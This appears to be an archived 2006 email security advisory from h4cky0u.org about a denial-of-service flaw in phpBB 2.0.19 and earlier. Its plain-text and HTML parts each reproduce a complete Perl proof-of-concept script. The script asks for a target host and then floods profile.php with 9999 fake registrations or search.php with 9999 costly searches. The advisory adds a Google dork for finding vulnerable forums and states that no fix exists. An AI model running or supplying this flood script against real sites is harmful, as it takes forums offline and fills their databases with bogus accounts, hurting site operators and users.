------=_Part_22785_23101671.1138200225311
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

------------------------------------------------------
      HYSA-2006-001 h4cky0u.org Advisory 010
------------------------------------------------------
Date - Wed Jan 25 2006


TITLE:
=3D=3D=3D=3D=3D=3D

phpBB 2.0.19 search.php and profile.php DOS Vulnerability


SEVERITY:
=3D=3D=3D=3D=3D=3D=3D=3D=3D

High


SOFTWARE:
=3D=3D=3D=3D=3D=3D=3D=3D=3D

phpBB 2.0.19 and prior


INFO:
=3D=3D=3D=3D=3D

phpBB is a high powered, fully scalable, and highly customizable
Open Source bulletin board package. phpBB has a user-friendly
interface, simple and straightforward administration panel, and
helpful FAQ. Based on the powerful PHP server language and your
choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers,
phpBB is the ideal free community solution for all web sites.

Support Website : http://www.phpbb.com


BUG DESCRIPTION:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

The bug was originally found by HaCkZaTaN of NeoSecurityteam. The
original exploit code can be found at -

http://h4cky0u.org/viewtopic.php?t=3D637

This one affected only versions uptill phpBB 2.0.15. The exploit code
has been recoded which affects the latest version too. The bug resides
in the following two scripts-

profile.php << By registering as many users as you can.
search.php  << By searching in a way that the db cannot understand.


Proof Of Concept Code:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

#!/usr/bin/perl
#######################################
##   Recoded by: mix2mix and Elioni of http://ahg-khf.org
##   And h4cky0u Security Forums (http://h4cky0u.org)
##   Name: phpBBDoSReloaded
##   Original Author: HaCkZaTaN of Neo Security Team
##   Tested on phpBB 2.0.19 and earlier versions
##   Ported to perl by g30rg3_x
##   Date: 25/01/06
#######################################
use IO::Socket;

## Initialized X
$x =3D 0;

print q(
  phpBBDosReloaded - Originally NsT-phpBB DoS by HaCkZaTaN
  Recoded by Albanian Hackers Group &
  h4cky0u Security Forums=09

);
print q(Host |without-> http://www.| );
$host =3D <STDIN>;
chop ($host);

print q(Path |example-> /phpBB2/ or /| );
$pth =3D <STDIN>;
chop ($pth);

print q(Flood Type |1 =3D If Visual Confirmation is disabled, 2 =3D If
Visual Confirmation is enabled| );
$type =3D <STDIN>;
chop ($type);

## Tipi p=EBr regjistrim
if($type =3D=3D 1){

## User Loop for 9999 loops (enough for Flood xDDDD)
while($x !=3D 9999)
{

## Antari q=EB regjistrohet automatikisht=EB "X"
$uname =3D "username=3DAHG__" . "$x";

## Emaili q=EB regjistrohet ne baz=EBn "X"
$umail =3D "&email=3DAHG__" . "$x";

$postit =3D "$uname"."$umail"."%40ahg-crew.org&new_password=3D0123456&passw=
ord_confirm=3D0123456&icq=3D&aim=3DN%2FA&msn=3D&yim=3D&website=3D&location=
=3D&occupation=3D&interests=3D&signature=3D&viewemail=3D0&hideonline=3D0&no=
tifyreply=3D0&notifypm=3D1&popup_pm=3D1&attachsig=3D1&allowbbcode=3D1&allow=
html=3D0&allowsmilies=3D1&language=3Denglish&style=3D2&timezone=3D0&datefor=
mat=3DD+M+d%2C+Y+g%3Ai+a&mode=3Dregister&agreed=3Dtrue&coppa=3D0&submit=3DS=
ubmit";

$lrg =3D length $postit;

my $sock =3D new IO::Socket::INET (
                                 PeerAddr =3D> "$host",
                                 PeerPort =3D> "80",
                                 Proto =3D> "tcp",
                                );
die "\nNuk mundem te lidhemi me hostin sepse =EBsht dosirat ose nuk
egziston: $!\n" unless $sock;

## Sending Truth Socket The HTTP Commands For Register a User in phpBB Foru=
ms
print $sock "POST $pth"."profile.php HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US;
rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

## Print a "+" for every loop
syswrite STDOUT, "+";

$x++;
}

## Tipi 2-sh=EB p=EBr K=EBrkim(Flood)
}
elsif ($type =3D=3D 2){

while($x !=3D 9999)
{
## Final Search String to Send
$postit =3D "search_keywords=3DAlbanian+Hackers+Group+Proof+of+Concept+$x+&=
search_terms=3Dany&search_author=3D&search_forum=3D-1&search_time=3D0&searc=
h_fields=3Dmsgonly&search_cat=3D-1&sort_by=3D0&sort_dir=3DASC&show_results=
=3Dposts&return_chars=3D200";

## Posit Length
$lrg =3D length $postit;

## Connect Socket with Variables Provided By User
my $sock =3D new IO::Socket::INET (
                                 PeerAddr =3D> "$host",
                                 PeerPort =3D> "80",
                                 Proto =3D> "tcp",
                                );
die "\nThe Socket Can't Connect To The Desired Host or the Host is
MayBe DoSed: $!\n" unless $sock;

## Sending Truth Socket The HTTP Commands For Send A BD Search Into
phpBB Forums
print $sock "POST $pth"."search.php?mode=3Dresults HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=3D0.9,text/plain=
;q=3D0.8,image/png,*/*;q=3D0.5\n";
print $sock "Referer: $host\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Accept-Encoding: gzip, deflate\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US;
rv:1.7.8) Gecko/20050511 Firefox/1.0.4\n";
print $sock "Connection: Keep-Alive\n";
print $sock "Cache-Control: no-cache\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);

## Print a "+" for every loop
syswrite STDOUT, "+";

## Increment X in One for every Loop
$x++;
}
}else{
## STF??? Qfar=EB keni Shtypur
   die "Mund=EBsia nuk Lejohet +_-???\n";
}


FIX:
=3D=3D=3D=3D

No fix available as of date.


GOOGLEDORK:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

"Powered by phpBB"


CREDITS:
=3D=3D=3D=3D=3D=3D=3D=3D

- This vulnerability was discovered and researched by HaCkZaTaN of
NeoSecurityteam.


- Exploit recoded by mix2mix of [AHG-KHF] Security Team for the latest
release of the script -

Web : http://ahg-khf.org

mail : webmaster at ahg-khf dot org


- Co Researcher -

h4cky0u of h4cky0u Security Forums.

mail : h4cky0u at gmail dot com

web : http://www.h4cky0u.org


ORIGINAL ADVISORY:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D

http://www.h4cky0u.org/advisories/HYSA-2006-001-phpbb.txt

--
http://www.h4cky0u.org
(In)Security at its best...

------=_Part_22785_23101671.1138200225311
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

<pre>------------------------------------------------------<br>      HYSA-2=
006-001 <a href=3D"http://h4cky0u.org">h4cky0u.org</a> Advisory 010<br>----=
--------------------------------------------------<br>Date - Wed Jan 25 200=
6
<br><br><br>TITLE:<br>=3D=3D=3D=3D=3D=3D<br><br>phpBB 2.0.19 search.php and=
 profile.php DOS Vulnerability<br><br><br>SEVERITY:<br>=3D=3D=3D=3D=3D=3D=
=3D=3D=3D<br><br>High<br><br><br>SOFTWARE:<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D<b=
r><br>phpBB 2.0.19 and prior<br><br><br>INFO:<br>
=3D=3D=3D=3D=3D<br><br>phpBB is a high powered, fully scalable, and highly =
customizable <br>Open Source bulletin board package. phpBB has a user-frien=
dly <br>interface, simple and straightforward administration panel, and <br=
>helpful FAQ. Based on the powerful PHP server language and your=20
<br>choice of MySQL, MS-SQL, PostgreSQL or Access/ODBC database servers, <b=
r>phpBB is the ideal free community solution for all web sites.<br><br>Supp=
ort Website : <a href=3D"http://www.phpbb.com">http://www.phpbb.com</a><br>
<br><br>BUG DESCRIPTION:<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D<br><br>The bug was originally found by HaCkZaTaN of NeoSecurityteam. Th=
e original exploit code can be found at -<br><br><a href=3D"http://h4cky0u.=
org/viewtopic.php?t=3D637">http://h4cky0u.org/viewtopic.php?t=3D637
</a><br><br>This one affected only versions uptill phpBB 2.0.15. The exploi=
t code has been recoded which affects the latest version too. The bug resid=
es in the following two scripts-<br><br>profile.php &lt;&lt; By registering=
 as many users as you can.=20
<br>search.php  &lt;&lt; By searching in a way that the db cannot understan=
d.<br><br><br>Proof Of Concept Code:<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><br>#!/usr/bin/perl <br>##############=
######################### <br>##   Recoded by: mix2mix and Elioni of=20
<a href=3D"http://ahg-khf.org">http://ahg-khf.org</a><br>##   And h4cky0u S=
ecurity Forums (<a href=3D"http://h4cky0u.org">http://h4cky0u.org</a>) <br>=
##   Name: phpBBDoSReloaded<br>##   Original Author: HaCkZaTaN of Neo Secur=
ity Team=20
<br>##   Tested on phpBB 2.0.19 and earlier versions<br>##   Ported to perl=
 by g30rg3_x<br>##   Date: 25/01/06<br>####################################=
### <br>use IO::Socket; <br><br>## Initialized X <br>$x =3D 0; <br><br>prin=
t q(
<br>  phpBBDosReloaded - Originally NsT-phpBB DoS by HaCkZaTaN<br>  Recoded=
 by Albanian Hackers Group &amp;<br>  h4cky0u Security Forums=09<br><br>); =
<br>print q(Host |without-&gt; <a href=3D"http://www.|">http://www.|</a> );=
=20
<br>$host =3D &lt;STDIN&gt;; <br>chop ($host); <br><br>print q(Path |exampl=
e-&gt; /phpBB2/ or /| ); <br>$pth =3D &lt;STDIN&gt;; <br>chop ($pth); <br><=
br>print q(Flood Type |1 =3D If Visual Confirmation is disabled, 2 =3D If V=
isual Confirmation is enabled| );=20
<br>$type =3D &lt;STDIN&gt;; <br>chop ($type); <br><br>## Tipi p=EBr regjis=
trim <br>if($type =3D=3D 1){ <br><br>## User Loop for 9999 loops (enough fo=
r Flood xDDDD) <br>while($x !=3D 9999) <br>{ <br><br>## Antari q=EB regjist=
rohet automatikisht=EB &quot;X&quot;=20
<br>$uname =3D &quot;username=3DAHG__&quot; . &quot;$x&quot;; <br><br>## Em=
aili q=EB regjistrohet ne baz=EBn &quot;X&quot; <br>$umail =3D &quot;&amp;e=
mail=3DAHG__&quot; . &quot;$x&quot;; <br><br>$postit =3D &quot;$uname&quot;=
.&quot;$umail&quot;.&quot;%40ahg-
crew.org&amp;new_password=3D0123456&amp;password_confirm=3D0123456&amp;icq=
=3D&amp;aim=3DN%2FA&amp;msn=3D&amp;yim=3D&amp;website=3D&amp;location=3D&am=
p;occupation=3D&amp;interests=3D&amp;signature=3D&amp;viewemail=3D0&amp;hid=
eonline=3D0&amp;notifyreply=3D0&amp;notifypm=3D1&amp;popup_pm=3D1&amp;attac=
hsig=3D1&amp;allowbbcode=3D1&amp;allowhtml=3D0&amp;allowsmilies=3D1&amp;lan=
guage=3Denglish&amp;style=3D2&amp;timezone=3D0&amp;dateformat=3DD+M+d%2C+Y+=
g%3Ai+a&amp;mode=3Dregister&amp;agreed=3Dtrue&amp;coppa=3D0&amp;submit=3DSu=
bmit
&quot;; <br><br>$lrg =3D length $postit; <br><br>my $sock =3D new IO::Socke=
t::INET ( <br>                                 PeerAddr =3D&gt; &quot;$host=
&quot;, <br>                                 PeerPort =3D&gt; &quot;80&quot=
;, <br>
                                 Proto =3D&gt; &quot;tcp&quot;, <br>       =
                         ); <br>die &quot;\nNuk mundem te lidhemi me hostin=
 sepse =EBsht dosirat ose nuk egziston: $!\n&quot; unless $sock; <br><br>##=
 Sending Truth Socket The HTTP Commands For Register a User in phpBB Forums=
=20
<br>print $sock &quot;POST $pth&quot;.&quot;profile.php HTTP/1.1\n&quot;; <=
br>print $sock &quot;Host: $host\n&quot;; <br>print $sock &quot;Accept: ima=
ge/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-f=
lash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/=
msword, */*\n&quot;;=20
<br>print $sock &quot;Referer: $host\n&quot;; <br>print $sock &quot;Accept-=
Language: en-us\n&quot;; <br>print $sock &quot;Content-Type: application/x-=
www-form-urlencoded\n&quot;; <br>print $sock &quot;Accept-Encoding: gzip, d=
eflate\n&quot;;=20
<br>print $sock &quot;User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv=
:1.7.8) Gecko/20050511 Firefox/1.0.4\n&quot;; <br>print $sock &quot;Connect=
ion: Keep-Alive\n&quot;; <br>print $sock &quot;Cache-Control: no-cache\n&qu=
ot;;=20
<br>print $sock &quot;Content-Length: $lrg\n\n&quot;; <br>print $sock &quot=
;$postit\n&quot;; <br>close($sock); <br><br>## Print a &quot;+&quot; for ev=
ery loop <br>syswrite STDOUT, &quot;+&quot;; <br><br>$x++; <br>} <br><br>
## Tipi 2-sh=EB p=EBr K=EBrkim(Flood) <br>} <br>elsif ($type =3D=3D 2){ <br=
><br>while($x !=3D 9999) <br>{ <br>## Final Search String to Send <br>$post=
it =3D &quot;search_keywords=3DAlbanian+Hackers+Group+Proof+of+Concept+$x+&=
amp;search_terms=3Dany&amp;search_author=3D&amp;search_forum=3D-1&amp;searc=
h_time=3D0&amp;search_fields=3Dmsgonly&amp;search_cat=3D-1&amp;sort_by=3D0&=
amp;sort_dir=3DASC&amp;show_results=3Dposts&amp;return_chars=3D200&quot;;=
=20
<br><br>## Posit Length <br>$lrg =3D length $postit; <br><br>## Connect Soc=
ket with Variables Provided By User <br>my $sock =3D new IO::Socket::INET (=
 <br>                                 PeerAddr =3D&gt; &quot;$host&quot;, <=
br>
                                 PeerPort =3D&gt; &quot;80&quot;, <br>     =
                            Proto =3D&gt; &quot;tcp&quot;, <br>            =
                    ); <br>die &quot;\nThe Socket Can't Connect To The Desi=
red Host or the Host is MayBe DoSed: $!\n&quot; unless $sock;=20
<br><br>## Sending Truth Socket The HTTP Commands For Send A BD Search Into=
 phpBB Forums <br>print $sock &quot;POST $pth&quot;.&quot;search.php?mode=
=3Dresults HTTP/1.1\n&quot;; <br>print $sock &quot;Host: $host\n&quot;; <br=
>
print $sock &quot;Accept: text/xml,application/xml,application/xhtml+xml,te=
xt/html;q=3D0.9,text/plain;q=3D0.8,image/png,*/*;q=3D0.5\n&quot;; <br>print=
 $sock &quot;Referer: $host\n&quot;; <br>print $sock &quot;Accept-Language:=
 en-us\n&quot;;=20
<br>print $sock &quot;Content-Type: application/x-www-form-urlencoded\n&quo=
t;; <br>print $sock &quot;Accept-Encoding: gzip, deflate\n&quot;; <br>print=
 $sock &quot;User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8
) Gecko/20050511 Firefox/1.0.4\n&quot;; <br>print $sock &quot;Connection: K=
eep-Alive\n&quot;; <br>print $sock &quot;Cache-Control: no-cache\n&quot;; <=
br>print $sock &quot;Content-Length: $lrg\n\n&quot;; <br>print $sock &quot;=
$postit\n&quot;;=20
<br>close($sock); <br><br>## Print a &quot;+&quot; for every loop <br>syswr=
ite STDOUT, &quot;+&quot;; <br><br>## Increment X in One for every Loop <br=
>$x++; <br>} <br>}else{ <br>## STF??? Qfar=EB keni Shtypur <br>   die &quot=
;Mund=EBsia nuk Lejohet +_-???\n&quot;;=20
<br>}<br><br><br>FIX:<br>=3D=3D=3D=3D<br><br>No fix available as of date.<b=
r><br><br>GOOGLEDORK:<br>=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D<br><br>&quot;Pow=
ered by phpBB&quot; <br><br><br>CREDITS:<br>=3D=3D=3D=3D=3D=3D=3D=3D<br><br=
>- This vulnerability was discovered and researched by HaCkZaTaN of NeoSecu=
rityteam.
<br><br><br>- Exploit recoded by mix2mix of [AHG-KHF] Security Team for the=
 latest release of the script -<br><br>Web : <a href=3D"http://ahg-khf.org"=
>http://ahg-khf.org</a><br><br>mail : webmaster at ahg-khf dot org<br><br>
<br>- Co Researcher -<br><br>h4cky0u of h4cky0u Security Forums.<br><br>mai=
l : h4cky0u at gmail dot com<br><br>web : <a href=3D"http://www.h4cky0u.org=
">http://www.h4cky0u.org</a><br><br><br>ORIGINAL ADVISORY:<br>=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
<br><br><a href=3D"http://www.h4cky0u.org/advisories/HYSA-2006-001-phpbb.tx=
t">http://www.h4cky0u.org/advisories/HYSA-2006-001-phpbb.txt</a><br><br></p=
re>
-- <br><a href=3D"http://www.h4cky0u.org">http://www.h4cky0u.org</a><br>(In=
)Security at its best...

------=_Part_22785_23101671.1138200225311--